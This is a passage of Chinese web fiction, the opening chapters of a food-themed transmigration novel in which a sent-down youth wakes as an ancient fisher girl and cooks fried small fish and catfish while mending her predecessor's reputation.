《炊烟渔火味正浓（美食）》 1. 第 1 章 《炊烟渔火味正浓（美食）》全本免费阅读 李抗美意识清醒的时候，发现整个世界都在摇晃。 “糟了！地震！”她顾不上还有些昏沉的脑袋，咕噜一下翻起身，就想要从知青点跑出去。 腰板还没有直起来，后脑勺就重重撞上了天花板。 “嘶——”李抗美揉着后脑勺，正想说知青点哪个不知五六的，还在她床上搭上棚子了，结果一睁眼她就愣住了。 风景映入眼帘，好一幅青山环绿水，山清水秀的烟雨风景画，她下乡的地方可是张嘴就要吃黄沙的大西北，哪里有如此风景？ 再低头一看，她睡梦中感受到的摇晃，也不是什么地震，而是因为她人在一艘破旧的小船上，摇晃正是因为这艘被拴在岸边的小船正在随波漂荡。 “我——”声音出口，李抗美惊觉，这哪是她下乡吃沙十年的沙哑嗓音？这细嫩嗓音娇俏得连文工团素有黄鹂鸟之称的团花都要甘拜下风吧！ 李抗美察觉不对，立刻扑到了船板旁边，就着碧绿的湖水，查看自己的样貌。 “我的妈呀！”这水里一脸蜡黄，下巴颏尖得能当改锥的黄毛丫头是谁！ 李抗美那个时代的审美，整个人充满精气神，结实而强壮的铁娘子才是最美女人。 水里倒映出的瘦弱得好似风一吹就要散架的小白花，可不在李抗美的审美范围内。 李抗美，左摸摸脸，又摸摸脸，不敢置信自己变成了这个样子。 凤眸琼鼻樱桃口，盈盈不足一握的腰身，仿佛风稍微大点，她就要跌进这深不见底的碧绿湖水中。 李抗美哀愁：她浓眉大眼的鹅蛋脸没了就没了，但就这风吹倒的小身板，还能挣工分养活自己吗？ 李抗美的认知还停留在那个上山下乡，所有大队的人都要为集体干活，挣工分养活自己的年代。 她没有看过后世的穿越小说，不知道什么叫做穿越，但她也听说过不少离奇的民间传闻，她觉着自己大概就是那些传闻中的借尸还魂，例如北方某地朱某，死后在南方某地金某的身体里醒来，从前的习惯都变成了素未谋面的朱谋的习惯。 李抗美心想自己大约就是变成了那个“朱某”，要不怎么解释她从满是黄沙的大西北到了这山清水秀，好似烟雨江南的地方，还换了一身皮子？ 就在李抗美皱着眉，想着自己未来要怎么养活自己的时候，要是回老家，家里人还能不能认出自己的时候，就听到岸上远远传来呼喊声：“李家娘子，李家娘子——” 起初那声音喊第一声的时候，李抗美都没有意识到是在叫她，但是相同的姓氏还是让李抗美好奇地转过头去。 看热闹大约是国人刻在骨子里的基因。 当李抗美的视线与那妇人还有妇人身旁一脸嫌恶的小少年对视上的时候，她只觉风云忽变，脑海中火花带闪电蹿过一阵走马灯，片刻间天旋地转，让她分不清眼前景象和脑海中的记忆哪个才是现实。 “谢谢宋大哥救了奴家一条贱命，但是那么多人都看到你我二人有了肌肤之亲，奴家恐怕也活不下去了……” 黄鹂鸟一般的声音说着让李抗美鸡皮疙瘩爬满身的话语。 这是她？ 小渔女短短一生的记忆如潮涌般灌入李抗美的脑海，让她分不清今夕何朝，弄不清她到底是这个时代身世凄惨的小渔女，还是未来上山下乡，拥有一手好厨艺的铁娘子李抗美。 下乡知青李抗美成为古代无父无母的孤苦渔女李美娘。 李美娘虽然身世可怜，但是做出的事情却十分可恨。 她虽然无父无母，但好在生得一副在这个时代还算是好颜色的容颜，嘴甜一点，人勤快一点，总归是不愁嫁的。 周围渔家好几个小伙子都偷偷喜欢她，她又是在船上长大的，只要稍微表现得勤快一点，附近看着她长大的渔家阿叔阿婶们也不会看着她在父母去世后，一个人守着一条渔船孤苦无依。 毕竟娶了她，还能给自家多增加一条渔船，也算是门当户对。 但李美娘吃不了打鱼风吹日晒的苦，她想要嫁到岸上去，普通的乡下汉子她还瞧不上，她看上了四处巡街，穿着一身公服，瞧着就威风凛凛的捕快。 几个捕快的家世她都偷偷打听了，最后看中了其中生得最俊朗，家中为人也最是良善的宋彦。 那日趁着宋彦巡街路过河岸，她躲在桥洞下压着嗓子喊了一声“有人溺水啦！”，然后凭借着自己高超的泳技，潜泳到了另外一片，宋彦几个捕快一眼就能看到的地方，然后不停地扑腾，溅起水花无数，让岸上的人都看不清落水之人的样貌。 李美娘好算计，她是渔女，周围人都知道她会游泳，而且要是宋彦一看她是个女的，打发一个大娘过来救她怎么办？ 她等了许多日，还特意挑了周围渔家大多出去钓鱼或者撑船载人载物贴补家用的时候，看准了今日和宋彦搭档的那个捕快也是一个惫懒不爱管闲事的，这机会可不多，可不能功亏一篑了。 当然也是拿捏住宋彦本人是个乐于助人为乐的，要不她这计划也不能成功。 而宋彦也确实如李美娘所想的，面对人命关天的事情，他想也没想，就在这还穿着厚棉袄的天气跳下了水救人。 而周围的人也比李美娘想得更善良，不少没有出去找活的渔民也跳了下来想要救人，但李美娘哪能让他们救到自己，在水下油滑得像条泥鳅，谁来都摸不着一片她的衣角，由此可知她水性之好。 而等到宋彦来了之后，李美娘就恨不得把四肢都缠到宋彦的身上了，好像真是一个溺水多时终于等到营救的人，演得比真的还真。 宋彦是在水下揽到那纤细的腰身，胸膛隔着薄薄的春衫贴到一片柔软，这才知道落水的竟然是个女子。 而当下他也没有空多想，毕竟一日日混在男人堆里的宋彦哪里晓得有些女人会有那么多小心思，为了能够嫁给他，连小命搭上都无所谓。 这还是初春，河岸青柳将将抽芽，时不时来上一场倒春寒，就连这河水还是冰冷刺骨的。 李美娘就算水性再好，可还有一个风寒等着要她的命呢！ 计划第一步成功了，她顺利地被宋彦“救”了，那么接下来的事情也就顺理成章了，当着众人的面和宋彦搂搂抱抱，动作挣扎间，故意扯开了宋彦的衣裳，露出他结实的胸膛，再把自己的衣裳也扯松，虽然还没到一抹莹白眩目的地步，但也露出了小片洗得发白的素色肚兜。 就这时代的民风，宋彦和李美娘差不多已经是在众目睽睽之下□□相拥了。 李美娘再接再厉，哭哭啼啼说自己的清白被毁了。 此时周围下水救人的渔民也上岸了，认出了李美娘渔女的身份，黑着脸问她：“你个船上长大的还会落水？” 李美娘也不是完全的厚脸皮，多少也有点心虚：“那么多淹死的都是会水的，还有谁说我在船上长大就一定水性好！我不小心掉下去，这天气水冷，我腿抽筋了！”声音越大越是心虚。 宋彦是善良，不是蠢，听到这个时候，还能不知道李美娘打的是什么主意？ 如此手上力道也不心软了，直接撕开强抱着自己的李美娘，扬长而去。 李美娘当然不能让他就这么走了，湿衣服都没有换，追在宋彦的后面，一直跟到宋彦家门口，到处哭啼宣扬，自己被宋彦污了清白。 一次两次，宋家到底还是没扛住周围对家里的指指点点，还是松了口，让宋彦娶人过门。 记忆到此结束，接受小渔女记忆的李抗美头脑昏涨，也没有注意到自己还站在船舷边缘。 她接收记忆的时候，正好是她扭头查看谁在喊“李家娘子”的时候，目光才将将与那两人对上，天地便翻转了。 她落水了，而此时李抗美心里想的还是：宋彦，好惨一位小伙子。 彻底落入水中之前，李抗美最后的记忆是附近桥上，路过行人投向她的冰冷目光，和嘴角那一抹嘲讽的笑。 还没有彻底整理好记忆，外加有些脸盲的李抗美对上没穿公服的宋彦，压根就没有记起眼前人便是被李美娘赖上的“宋大哥”，那个做好人好事还要搭上自己婚姻的冤大头。 她心里还吐槽了一番：这人怎么回事？见着她落水了，不救就算了，竟然还幸灾乐祸地看好戏。 “呀！怎么办！”喊人的大娘满面着急，推了一把旁边非要跟着她过来的小儿子，“快救人啊！” 才十四岁的宋驰瞪圆了眼睛：“娘你叫我救？万一那女的又赖上我怎么办？到时候她是嫁给我还是嫁给我哥？而且我也不会水啊！” “说什么废话！”宋大娘一巴掌拍在小儿子的后背上，“不会水，不会叫人吗？” 听到这话，宋驰眼睛一亮：“对！叫人！” 要是别人救了这女的，那她是不是就不能赖着他哥了？ 才十四岁的小少年，瞧着池面上李抗美落水处的涟漪，心里满是天真的小九九。 不是他心肠坏，只是这个女人实在不值得同情。 宋驰心里的大嫂要不是大哥师父家的小师姐那样英姿飒爽的女子，要不就是隔壁莲姐姐那样温柔贤惠的姑娘，现在他大哥前途无量，主簿老爷家的闺女没准都能娶到。 但绝对不会是李美娘这种满肚子坏心眼， 2. 第 2 章 《炊烟渔火味正浓（美食）》全本免费阅读 “嘶——”剧烈的头痛把李抗美从昏迷中捶醒。 而她昏迷过去的这段时间，不仅仅把原身李美娘的人生过了一遍走马灯，就连她自己的人生也事无巨细得像是看了一部超长篇的电影。 就连小时候她爸手把手教她练刀工，那双宽厚的大手握住她小手的触感都历历在目，仿佛就像昨日之事。 还有下乡后那段时长饿到胃痉挛的时光，她算是再体验了一遍人是怎么饿死的。 哦，还有怎么烧死的。 因为原主李美娘就是作死把自己发烧烧死的。 落了水之后不赶紧换衣服，就为了宋家的街坊们可怜自己，就穿着湿透的春衫在宋家门口装可怜，人家宋彦回家就换了衣衫，估计还有热水澡洗，有姜汤喝，她李美娘什么都没有，还要吹冷风，她不发烧，谁发烧？ 倒是可怜了李抗美，接了这么个身子，还顺带把发烧状态也接了过来。 加上她也落了一次水，这头疼的感觉就更加强烈了。 李抗美用手敲了敲脑袋头痛的地方，如此隔靴搔痒，期盼能让头痛稍微好一点，但结果显而易见，是丝毫没有效果的。 手落到被子上，触手柔软。 这可不是小渔女船上那硬到结块的破烂铺盖，李抗美强打起精神查看周围情况，木头打的架子床，有些陈旧但却维护得很好。 房间不大，另一侧还塞满了各种架子、簸箕一类的杂物，但却收拾得十分干净。 这不是李美娘记忆里的任何一个地方。 李抗美正想着自己为什么会在这个地方，就听到老旧的门吱呀一声，一个妇人推门进来。 “李家娘子，你醒了？”那妇人正是李抗美昏迷前见到的最后一人，宋彦的娘亲，宋大娘。 她手里还端着一碗药，上面还冒着白烟，一看就是滚烫才刚熬好的。 李抗美看到这救她一命的同志，眼睛也是微微发亮。 虽然她现在已经拥有李美娘的记忆了，直到眼前的妇人就是被李美娘坑了的宋彦娘亲，但是这也是她的救命恩人啊！ 李抗美入水即昏迷，所以压根不知道辛辛苦苦把她从水里捞出来，还背着她做急救的人是冤大头宋彦，她全把功劳让给自己清醒后见到的第一人，也就是宋大娘了。 现在自己在陌生的地方醒来，但是身上衣服干燥，明显已经被换过了，盖的被子也是柔软厚实，她就更加认定是宋大娘救了自己之后，又把自己带到家里悉心照料了，更别提宋大娘这个时候手里还捧着一碗热气腾腾的药呢！ “这是给我的吗？”还不得宋大娘发话，李抗美自己就从宋大娘手上接过了那碗药。 “才刚倒出来，有点烫口，小心点。”宋大娘是个温柔的人，就算面对的是一个硬赖着她儿子的人，但是看在她死里逃生的份上，也实在凶不起来，更何况她宋家已经答应要让儿子娶这李家娘子了，这小娘子未来就是她的儿媳妇了，这时候凶也没有意思了。 “谢谢你同——宋大娘。”李抗美本来是习惯性叫同志的，但是话到嘴边想到这个时代已经不是她出生的那个时代了，可没有“同志”这一称呼，她还是入乡随俗比较好，就立刻改了口。 宋大娘看她虽大病未愈，面若金纸，但对着自己时仍旧是笑容甜甜，心想这李家娘子也没有儿子说得那样不堪。 宋彦说这李家娘子在耍花招，但宋大娘自己摸过李抗美的脉搏，知道她那个时候是真的已经快死了，心中想着这人就算是再精明，也不会拿自己的命来玩笑，更何况她家都已经答应了他们两个的婚事，李家娘子就算再跳河，又能得到什么？ 再说第一次落水，这孩子恐怕也是头一次遇到这种事情，所以才慌了神，才做出那样的事情吧…… 心中一番计较下来，她看着李抗美稍吹吹碗口烫气，就半分不怕苦地把中药一口气喝了，倒是对李抗美多了几分好感。 “谢谢宋大娘，水在哪里，这碗我自己洗吧！”李抗美也是在乡下习惯了什么事情都自己干，之前自己昏迷着让人照顾也就算了，现在她都已经醒了，力所能及的事情还是自己做比较好。 她这般，宋大娘对她又多了几分好感。 劈手夺过李抗美手里的药碗，把人按回床榻上躺着：“你这还烧着呢！躺着好好休息吧！” 药碗放到一边，又问李抗美：“昏睡一天一夜了，饿了没有，我去给你熬个粥，你休息会儿，别睡太沉，我待会叫你起来喝粥。” 宋大娘这么一说，李抗美才感觉到腹部强烈的饥饿感，加上药劲上来，她还发烧着，整个人就开始昏昏沉沉，眼皮向下耷拉。 此时也逞强不起来，只得对着宋大娘腼腆笑笑：“那就麻烦宋大娘照顾了，等我好了，一定报答大娘你。” 傍晚宋大娘果然端了一砂锅的粥过来，怕她嘴里没味，还配了一点爽口的小菜，李抗美家传的厨艺，自然是看不上这技巧粗劣的腌菜，但她承宋大娘的情，况且她如今生病，就算是龙肝凤髓，吃在她嘴里也是没味得很。 吃完砂锅粥之后，李抗美精神好了一些，头也没有那么痛了，才同宋大娘打听起自己现在的情况。 这才从宋大娘嘴里知道，自己那天昏迷过去之后，就被她带到了她的娘家，她娘家爹姓赵是个大夫，正好给李抗美看病。 现在李抗美住的地方就是宋大娘出嫁前在娘家的闺房，不过她出嫁之后，屋子就成了家里放药材还有杂物的地方。 不过赵家人都爱干净，加上药也是要入口的，所以这地方也一直打扫得干干净净。 李抗美就这么在赵家住着养病，期间一直都是宋大娘，还有赵家的女眷照顾她。 但鉴于原身李美娘做的孽，几个长辈还有结了婚的赵家嫂子们对她面上还过得去，下面宋彦几个还没有出嫁的表妹对她就眼不是 3. 第 3 章 《炊烟渔火味正浓（美食）》全本免费阅读 这才吃过早饭，距离午饭还有一段时间，李抗美与赵家外婆说了一声，就回李美娘原先住的渔船，看看有什么能够为赵家老太太做的。 循着李美娘的记忆把渔船上上下下都翻找了一遍，也不过找到零散几十文铜钱。 穷成这个样子，李抗美心想李美娘会去坑宋彦，好像也有点道理了。 不过随即李抗美就使劲摇了摇她，她可怜同情李美娘干什么，现在接了她烂摊子的可是她，她才是那个应该被可怜的人！ 又翻出一包不知道放了多久的酸话梅，李抗美拆出来闻了闻——很好，没坏，还能吃。 看了一眼两头漏风的小破渔船，李抗美想了想，还是把酸话梅和那几十文钱都往怀里揣上了。 见着船舱里还放着鱼笼和鱼竿，又想到赵家姐妹说的老太太爱吃鱼，她便循着记忆把鱼笼放了下去。 要是能往到鱼最好，要是网不到的话，就只能期盼她怀里的那几十文钱了。 哎，她纵使有一身厨艺又如何，巧妇难为无米之炊啊！ 就像当初她下乡，就算和老爸学了一身的好厨艺又如何，天天翻来覆去煮的还不是地瓜、土豆蛋子，不然就是玉米碴子粥，请问这几样，哪样能体现她的好手艺？ 哪样都不能！ 这时代的物价李美娘的记忆里都有，李抗美划算着她这几十文钱能买些什么，别的不说，这时代就一点好，物资丰富，买东西还只要钱，不要票。 几十文钱，她做不了一桌菜，能整治一道让老太太开胃的菜，那也足够了！ 只不过老太太喜欢鱼，这倒是有些难办了…… 倒不是因为李抗美手里的这几十文钱连一条鱼都买不到，而是因为赵家姐妹已经把早市跑遍了，也只买到半箩筐的泥鳅，她凭什么比赵家姐妹两个人还厉害，能买到鱼？凭原身李美娘是个万人嫌吗？ 正这般想着，好巧不巧就让李抗美遇见了几个小孩，而那几个孩子手中拿着几尾猫猫鱼，朕蹲在路边逗狸奴。 一看到那猫猫鱼，李抗美的眼睛就亮了！ 买不着大鱼，能买到这些小鱼也不错啊！这个时代的人或许看不上这些猫猫鱼，而她却是知道如何把这些还不过小孩拇指大小的猫猫鱼做得好吃的！ 这般想着，李抗美的脚步都紧了几分，她快步上前。 和几个小孩一番交涉，最终以一包酸话梅的代价换了小孩一兜子喂狸奴的猫猫鱼。 不过这一小兜猫猫鱼显然还不够一盘菜的，好在小孩哥看在李抗美这包酸到流口水的酸话梅的份上，把李抗美带到了他们抓住这猫猫鱼的地方。 “就是这里，你下鱼笼进去，再往鱼笼里丢块油渣，一会儿就能网上来一兜。”说罢，小孩哥还指着李抗美用酸话梅换的那兜鱼道：“这就是我吃过早饭过来抓的，你要是没有鱼笼，拿个篮子，速度快的话，也能抓上不少来，这鱼笨得很！” 小孩哥带李抗美来的地方正巧就在破渔船的附近，谢过小孩哥的慷慨大方，李抗美立即把自己方才下下去的鱼笼移到了这边。 油渣她现在是没有，但是她要做的那道菜，也是要用油的，正好用手里这几十文钱，割点猪板油熬猪油，再买点调料回来。 李抗美打定主意之后，行动便更是雷厉风行。 不一会儿功夫，猪板油就已经买回来熬上了，调料也放到了一旁。 鱼笼里她投了在肉铺老板那边要过来的边角料，估计效果比油渣还要好，毕竟那些小鱼不就是闻着腥味来的嘛？ 等到一锅猪油熬好，李抗美在猪油渣里撒了一搓盐，然后尝了尝这猪油渣——嗯，美滋滋！ 猪油也不用捞起来，就放在锅里，反正待会做菜的时候还要用。 李抗美先去鱼笼那边看看，抓到了多少。 大约是这几日在赵家养得不错，李抗美觉着她这身子可比刚来那会儿有力气多了。 三下五除二把几个鱼笼拉了起来，果然和那小孩哥说的一样，这儿的小鱼笨得很。 李抗美把鱼笼里的猫猫鱼掏出来放在篮子里，空了的鱼笼再放回河里。 掏空几个鱼笼之后，她看着满篮子的猫猫鱼，笑得一双杏眼都弯成了月牙弯。 走之前李抗美还瞟到河堤旁爬了不少螺蛳，春天正是吃螺蛳的好季节，但李抗美想了想小破渔船上没多少的调料，决定这次还是先放过这些螺蛳。 “肥螺蛳们，你们先在河道里待着好好养肉，姐姐清明前一定过来把你们抓吃了！”李抗美想到肥美的爆炒螺蛳，嘴巴里的口水都要兜不住了。 也不知道这李美娘是怎么想的，她这时代随手一抓就是吃的东西，这家伙怎么还想不 4. 第 4 章 《炊烟渔火味正浓（美食）》全本免费阅读 一篮子的猫猫鱼，都做一个口味，也腻歪得慌。 李抗美清口吃了一些，砸吧砸吧嘴，这舌头更想念的是鲜香麻辣的味道。 炸好的猫猫鱼放到一边，盛出锅里多余的油，放入之前备好的调料，姜末、蒜末、大葱、辣椒。 “可惜没有泡椒……”李抗美买调料的时候，在街上转了一圈，没见着泡椒，李美娘的记忆里这地界也没人吃着玩意，她倒是会做，但这一时半会做不出来，只得作罢。 好在她手艺好，少这一味两味的调料，也不妨碍。 这破渔船上做饭的家伙什也不齐全，连个炒菜的锅铲都没有，李抗美拿个木汤勺在锅里翻炒。 等到锅里葱姜蒜炒到油亮，散发出独特香味之时，撒入红糖一把——这本是要撒红糖的，但李抗美那几十文钱买不起这么金贵的东西，买了点便宜的土红糖，凑活了。 陈醋一圈，香油半圈，这椒油汁就算是做成了。 这油汁冷却，就可以放入炸好的猫猫鱼，再泡上一段时间，这道香酥小鱼就算是做好了。 李抗美做的椒油汁泡不了这么多小鱼，只泡了一半炸好的小鱼，不过这小鱼就是直接吃，味道也是不错的。 她这里在船上又是炸，又是炒得，油香味早就飘满整条河。 附近渔家不想和她扯上干系，但之前得了她一包酸梅子的几个小孩哥却是架不住这香死个人的味道。 李抗美从船舱里出来的时候，就见到几个小孩哥，你推推我，我推推你，挤挤挨挨过来，见着她出来，均向她投来希冀地目光。 最后还是那个早上第一个和她搭话的小孩哥被推出来当领头人，再次和李抗美搭话。 “你做的什么吃的，我知道哪里还能下笼子捉鱼……”说话间，小孩哥闻着李抗美船舱里传来的香辣味道，忍不住吞咽了口水，“我，我们和你换，你给我们一人吃一口就好了。” 李抗美见一群孩子吞口水的馋样，面上露出笑容。 但她也不是个烂好人，别人想要她就给，虽然感谢几个小孩告诉她抓猫猫鱼的地方，但是她也用了一包酸梅子去换了。 她张口：“猫猫鱼够了。” 几个小孩听她这么一说，眼神均是一暗，还以为自己吃不到那么香的东西了，就听见李抗美话锋一转。 “你们要是能弄到别的鱼，或者其他的话，倒也不是不能和你们换。” 几个孩子听到李抗美这么说，脸上立即爬上了笑容，一个个跃跃欲试。 “你想要鱼啊！这个我最厉害了，去年我还在河里抓了条和我差不多长的鱼呢！我要是抓到这样一条，你可得多给我一点！” 李抗美听到几个孩子的话，连忙阻止，生怕他们在这春寒料峭的天气下河去给她捉鱼。 “你们可别跳到河里去给我捉鱼，要是这样的话，我那吃的也不和他换。” 思考了一下，李抗美还是从船舱里拿了一碟子的油炸小鱼出来。 来的孩子不少，也就一人两三条的量。 一群孩子见着李抗美拿出来的油炸小鱼，心里都一阵失望。 他们以为她做得那么香的是什么东西呢！居然是给猫猫吃的猫猫鱼，这小鱼没什么肉，还有小刺，他们只有饿极了，又找不到什么吃的，才会才瓦片上煮几条吃，吃腻了不说，还一点都不好吃。 李抗美也看到了一群小萝卜头欣喜转失望的表情，她眼观鼻鼻观心，只当自己没看见，照旧一个小孩给分了两根，一轮下来盘子里还剩下两条小的，李抗美干脆给了那个两次都和她打头说话的小孩哥。 她也看出来了，这是这群孩子里的头头，是孩子王。 果然其他小孩见那小孩多两根，也没人有意见。 拿着手里分到的炸小鱼，虽然心里略微嫌弃，但是白给的不吃白不吃！ 有那嘴快的已经把两条小鱼囫囵塞到嘴里了，那油炸小鱼瞧着不显，吃到嘴里之后才知道另有乾坤。 “里头有油！”这才出锅没多久的油炸小鱼，热却不烫，在油锅里滚了一圈出来，表皮不见油，但牙齿一咬，却是滋滋冒油，满口油香。 这里虽是好山好水，但贫穷的渔家孩子们也缺油水得很，哪里抵得住这猪油炸出来的美味？ “好好吃啊！鱼刺都没有了！”小孩不懂怎么形容，李抗美这油炸小鱼连鱼刺都炸的酥脆，一嚼就没有了，他们还当没有鱼刺了。 见着一个个小孩吃完了手里两根油炸小鱼，又眼巴巴看着她，李抗美也一点不心软：“还想吃，就拿鱼来换，我这小鱼可是用猪油炸的，可金贵着呢！” 怕几个孩子为了一口吃的下河，李抗美还不忘补了一句：“不准下河，下河的话，我以后有好吃的都不和他换了！” 她扬了扬下巴，一脸骄傲道：“我还有比今天这更好吃的！” “不下河哪里来的鱼……”几个小孩满面愁容，总不能偷家里捕的鱼和她换猫猫鱼吃吧！要是被老爹知道了，还不打断了腿。 李抗美看着小孩们一脸为难的样子，还是松了松口：“拿螺蛳来换也行，半桶螺蛳，给一碟子炸小鱼。”她踢了一下脚边的桶子，这是渔家拿来提水的水桶，并不算大，但要弄上半桶螺蛳，也要废好一会儿功夫。 几个小孩听到白捡的螺蛳也能换，立马蜂拥到河边，他们这日日在堤边玩耍的，还能不知道哪里有螺蛳吗？ 李抗美看看日头，还早着，再看看网小鱼剩下的一点猪肉边角料，心里有了成算。 她同赵家外婆说过今 5. 第 5 章 《炊烟渔火味正浓（美食）》全本免费阅读 李抗娘出声得及时，俩老叟船上鱼还没在锅里熟透。 李抗娘撑着船篙跳上他们的船，急忙把那洗了一遍温水浴的河鲇从锅里捞出来。 一瞧果然只有中间好刮的鱼鳞被刮了，背脊、腹部，这些不好刮的鱼鳞都还留着，内脏也就是草草摘除，里头好像都没冲洗干净。 要不是这两个老叟都是和她爷爷差不多大年纪的老人，李抗娘必然是要把两人说一顿的。 但是别家的老头，她又眼馋他们的鱼，哎…… 话不多说，李抗美上了他们的船就开始麻利干活，先把这条敷衍处理河鲇重新处理干净。 脊背和腹部的鱼鳞刮干净，摘除鱼鳃，用刀把河鲇的肚腹内脏剖得更开，把里头残余的内脏还有黏液清洗得干干净净。 两个老叟见到李抗美处理鱼的手段，就知道这姑娘约莫是灶上的一把好手，也不多插手，其中一个老叟反而提着一袋面粉过来。 “中午是打算吃漏粉的，面在这儿，姑娘瞧着做。” 他们可不是喜欢吃漏粉才吃的，这不是不会揉面，所以只能吃漏粉吗？ 那玩意调成糊，下到锅里就能吃了。 李抗美抖开袋子，看了一眼，不是普通面粉，应当是掺了其他杂粮。 再看一眼灶上放的几头蒜，知道这俩大爷是打算吃粉配酸，心里已经有了成算，这河鲇该怎么烧了。 河鲇切成大块，用盐、料酒、蒜末先腌上。 大爷船上调料不够，李抗美又回自己那条破船，把猪油，还有其他调料一并端了过来。 “大爷，搭把手。” 李抗美站在船边把东西递过去之后，空着两手才敢跳过去。 她艺低人胆小，要是再落水，就不知道有没有好运留着自己这条小命了。 李抗美装猪油的罐子不带盖，两个老大爷对视了一眼：咦！这姑娘还怪大方的嘞！ 他们还看到李抗美递过来的杂七杂八里还有红糖，这是要在鱼里头放糖？能好吃吗？ 不过俩大爷也还算是有自知之明，就算李抗美做得再难吃，也比他们两个清水烧鱼要强百倍，况且方才他们尝了这丫头递过来的炸小鱼，香香酥酥，有滋味得很，下酒的一道好菜！ 李抗美人再次跳了过来，看到大爷吃饭的小桌上都摆出酒壶酒杯了，也不要两个大爷帮忙啥，只道：“二位大爷，喝酒去吧！灶台上的事交给我就是了。” 这年头女子对外的自称大都是奴家，当初李美娘就是这么对着冤大头自称的，不过李抗美一个新中国唱过“起来不愿做奴隶的人们”的女人，怎么也张不开口“奴家”，就和两个大爷你啊我的吧！ 前头做油炸小鱼的时候还剩下一块姜，李抗美全切了放这河鲇里。 抓了一把大爷给的杂面粉将就着码味上浆，这河鲇便算是处理妥当了，放置一旁备用。 直接把自己那锅猪油放到灶上，凝固的白油如融雪般化开，李抗美看着差不多了，就把调理好的河鲇块轻轻放入油锅，见着鱼皮微缩，鱼肉收紧，捞出鱼块。 拿出大爷船上的锅，放入一锅底的油，放入大蒜。 见着大爷锅灶上有一罐大酱，是本县人常吃的酱，李抗美的记忆里也有这大酱的味道，但她还是拿筷子蘸了一点，亲自确认这酱的味道。 辣椒掐断扔进锅里，略翻炒，再放入这本地的大酱，炒香之后加入水，旺火煮沸后再加入炸过的河鲇块，撒一勺红糖，淋半圈香油焖煮。 乘着这时间，李抗美调一锅漏粉面糊。 既然两个大爷本来是打算吃漏粉的，那主食还是给他们做漏粉吧。 两个大爷虽然瞧着在喝酒聊天，但那眼睛旁光一直没有离开过灶台这边，鼻子也一耸动一耸动的，这是在闻着李抗美锅里散发的味呢！ 时不时还悄悄交流上两句。 “她果然在那鱼里放糖了！”头戴斗笠，须发皆白的大爷说道。 “放糖就放糖吧！”另外一个只在唇瓣上方留了两撇小胡子，人看起来也稍微年轻一点的大爷回道，“这又是油炸，又是放汤的，我闻着都要流口水，恐怕这吃起来味道也不差！” 见着李抗美调漏粉糊糊，大爷又道：“怎么又做漏粉？” 大爷心想，他刚提醒那姑娘，就是想让她做点别的吃的，船上日日吃漏粉，他都吃腻歪了！ 小胡子大爷筷子夹了一条炸小鱼放在嘴里嚼得满口香酥，再嘬一口小酒，眯起眼快活似神仙，听到老友这么说话，睨了他一眼。 “有的吃就不错了，送上门来的厨娘，就别挑三拣四了。” 这两位大爷不仅是朋友，更是亲家，小胡子大爷的大闺女嫁给了斗笠大爷的小儿子，俩亲家时不时就约着到这河畔钓鱼，顺便喝喝小酒。 回家就没那么松快了，别的不说家里婆娘见着他们喝酒，定然是嘴皮子不停歇，哪有出来爽快啊！就是这午饭只能凑活着吃了，但为了一口酒，半日清闲，难吃就难吃吧！ 李抗美那边没注意两位大爷的嘀咕，手边漏粉糊糊调好，锅里的鱼也可以起锅了。 略洗了洗锅子，再煮一锅开水，一锅漏粉做好，盛起来备用。 她做的漏粉，把自己的量也放了进去。 虽然说好了她给两个大爷做饭，大爷给她一条鱼，但她又出猪油，又出调料，吃点大爷的杂粮面也不过分，她一个小姑娘又能吃多少？ 经历过饥荒的李抗美倒是想要多吃，但李美娘的胃口就只有那么一点，又是大病初愈，在赵家的时候，赵家人给她的饭食，她也是喝一盏粥，吃半个饼子就饱了。 李抗美现在就是嘴馋胃 6. 第 6 章 《炊烟渔火味正浓（美食）》全本免费阅读 一锅大蒜烧河鲇赢得了两位大爷的欢喜，李抗美做的一锅椒油泡小鱼也被两个大爷分走半锅。 如果李抗美没说这小鱼是孝敬家里老人的，恐怕连半锅都剩不下。 李抗美拿着一尾鳜鱼，还有两个大爷硬塞给她的一串铜钱回了自己的破船，看着两大爷的渔船返航，她与他们挥手告别。 “小姑娘，大爷家住榕树巷巷尾第一家宋木匠，下回还有这下酒的小鱼，还来找宋大爷！”小胡子大爷站在船上高声喊。 斗笠大爷听这老小子竟然只报自己的名字，一下就着急了，船篙都放下了：“我住他对门，找不到路你说找老捕头，街坊就都知道了，大爷给你钱，想要鱼也给你鱼！” 李抗美也是这会儿才知道两位大爷的名字，那老捕头也就算了，但是那宋木匠她怎么觉得在哪里听说过？ 不过她心里惦记着回去给赵老太做鱼，这把这茬抛之脑后了。 知道自己今天大概率是要空军到底了，李抗美也不再执着于钓鱼，反正手上已经有一条大鳜鱼了。 撑船回家。 才到原来停船的地方，就见着河岸码头上，一个眼熟的小孩脚边放着个水桶，面带焦急，四处张望，瞧见她的渔船从河面一线悠悠露头时，从注目到惊喜，然后在码头上跳着与她挥手：“李家姐姐！李家姐姐！” 渔民的孩子，就算和李美娘不熟悉，也是认得她的。 “这么快捡了一桶螺蛳了？”李抗美靠岸，把渔船拴紧，看了一眼小孩脚边的水桶，正好一水桶的螺蛳，与桶边齐平，不少一颗也不冒尖。 小孩看着李抗美在看水桶里的螺蛳，用裤子搓掉手心不只是水还是汗的潮湿，多少还是有些害怕李抗美不守信用的。 这螺蛳又不值钱，随处可捡，早市上一文钱十斤都没有人要。 他们怕李抗美反悔，不肯用她那猪油炸的小鱼换这没人要的螺蛳。 “这不是我一个人捡的，是我、大头、铁柱、铁柱弟弟……我们好多人，从你走了之后，捡到现在才捡了那么多。”小孩巴巴开口，加了好多小孩的名字，想让这一水桶的螺蛳显得更加值钱一些。 “嗯嗯。”李抗美抓起一把闻了一下，都是好螺蛳，没有臭的坏的，但想到自己船上只有半锅小鱼了，那小鱼还要留着给赵老太。 “我船上没有多余的炸小鱼了……” 李抗美话还没说完，本就怕李抗美反悔的小孩立即着急了，他双眼含泪：“你怎么能这样，说好了的……” 小孩想到他们大冷天的耐着河水冰凉去给这女人摸螺蛳，一下委屈涌上心头，鼻子一酸，要掉不掉的眼泪立即沿着被冬日河风吹得糙红的脸蛋滑了下去。 “唉！你这小男子汉，怎么还掉金豆豆？”李抗美也是没想到小孩哥这眼泪是说掉就掉，她抽出怀中的帕子给这小孩把眼泪擦掉，“我这话还没说完呢，怎么说哭就哭，又没说不要你的螺蛳。” 李抗美虽然是老闺女，但是她大哥结婚早，大嫂又拼那光荣母亲的荣誉，一连生了七个，自己加上婆婆都带不过来，自然要李抗美这个小姑子也帮忙一起带，所以李抗美照顾小孩也很有一手，现在也丝毫不嫌弃这七八岁小孩的眼泪鼻涕。 “这小脸被风吹得，眼泪再一淌，你不疼啊！” 